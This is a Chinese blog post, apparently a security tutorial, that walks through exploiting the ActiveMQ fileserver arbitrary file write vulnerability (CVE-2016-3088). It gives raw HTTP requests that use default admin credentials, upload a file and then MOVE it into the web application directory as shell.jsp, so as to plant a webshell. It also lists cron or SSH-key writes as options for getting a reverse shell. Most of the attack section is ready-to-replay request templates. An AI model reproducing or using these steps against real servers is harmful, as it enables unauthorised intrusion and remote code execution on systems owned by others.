ActiveMQ任意文件写入漏洞(CVE-2016-3088)

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

注:ActiveMQ在5.12.x~5.13.x中默认关闭了文件服务器应用(可以在conf/jetty.xml中打开);在5.14.0之后,文件服务器应用程序被完全删除。防止白费力气(小伙伴们注意哦!!!)

背景介绍

​ ActiveMQ Web控制台分为admin、API和fileserver三个应用程序,其中admin是管理员页面,api是接口,fileserver是存储文件的 接口;admin和API需要登录才能使用,fileserver不需要登录。

​ fileserver是一个REST风格的API接口。我们可以通过HTTP请求(如GET、PUT和DELETE)读写存储在其中的文件。设计目的是为了 弥补消息队列操作无法传输和存储二进制文件的缺陷

漏洞介绍

​ 此漏洞出现在Fileserver应用程序中,漏洞原理其实很简单,即fileserver支持写文件(但不解析JSP),同时支持移动文件(MOVE请 求)。因此,我们只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。环境侦听端口61616 和端口8161,其中8161是Web控制台端口。此漏洞出现在Web控制台中

漏洞利用

  • 编写Webshell

      优缺点: 写webshell的好处是方便,但是文件服务器不解析jsp,admin和API都需要登录才能访问,所以有点徒劳;
    
  • 写入文件,如cron或ssh密钥

    ​ 优缺点: 编写cron或ssh密钥的优点是 直接反转Shell,也很方便,缺点是需要root权限;

  • 编写jar或jetty.xml等库和配置文件

​ 优缺点:写jar,有点麻烦(需要jar后门),写xml配置文件,这个方法比较可靠,但是有一点 徒劳:我们需要知道ActiveMQ绝 对路径。

具体实现

  • ​ 编写webshell

​ 正如我前面所说,Webshell需要在Admin或API应用程序中编写,这两个应用程序都需要登录才能访问。默认的ActiveMQ帐户和密 码是admin,假设你有账号密码!!! 访问http://ip:8161/admin/test/systemPropertys.jsp查看ActiveMQ的绝对 路径: activemq/home 就是绝对路径

​ 访问:http: // ip: 8186/admin/fileserver 进行抓包

GET /admin/fileserver/ HTTP/1.1
Host: 192.168.1.10:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=wvh68cddq86a12ksvkcadd72u
Upgrade-Insecure-Requests: 1
  • 修改包信息,并且重放
GET /fileserver/shell.txt HTTP/1.1
Host: 192.168.1.10:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=wvh68cddq86a12ksvkcadd72u
Upgrade-Insecure-Requests: 1

webshell:添加上你所用的shell脚本 然后重放
  • 访问你所上传的文件,你会发现并没有被解析,上面我们说过fileserver支持写文件(但不解析JSP),所以我们要把文件移动个位置

    访问文件在进行抓包,包进行修改为MOVE

    MOVE /fileserver/shell.txt HTTP/1.1
    Destination: file:///opt/activemq/webapps/api/shell.jsp -->:移动到的位置
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 0
    
  • 然后访问文件即可成功 http: // ip /api/shell.jsp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值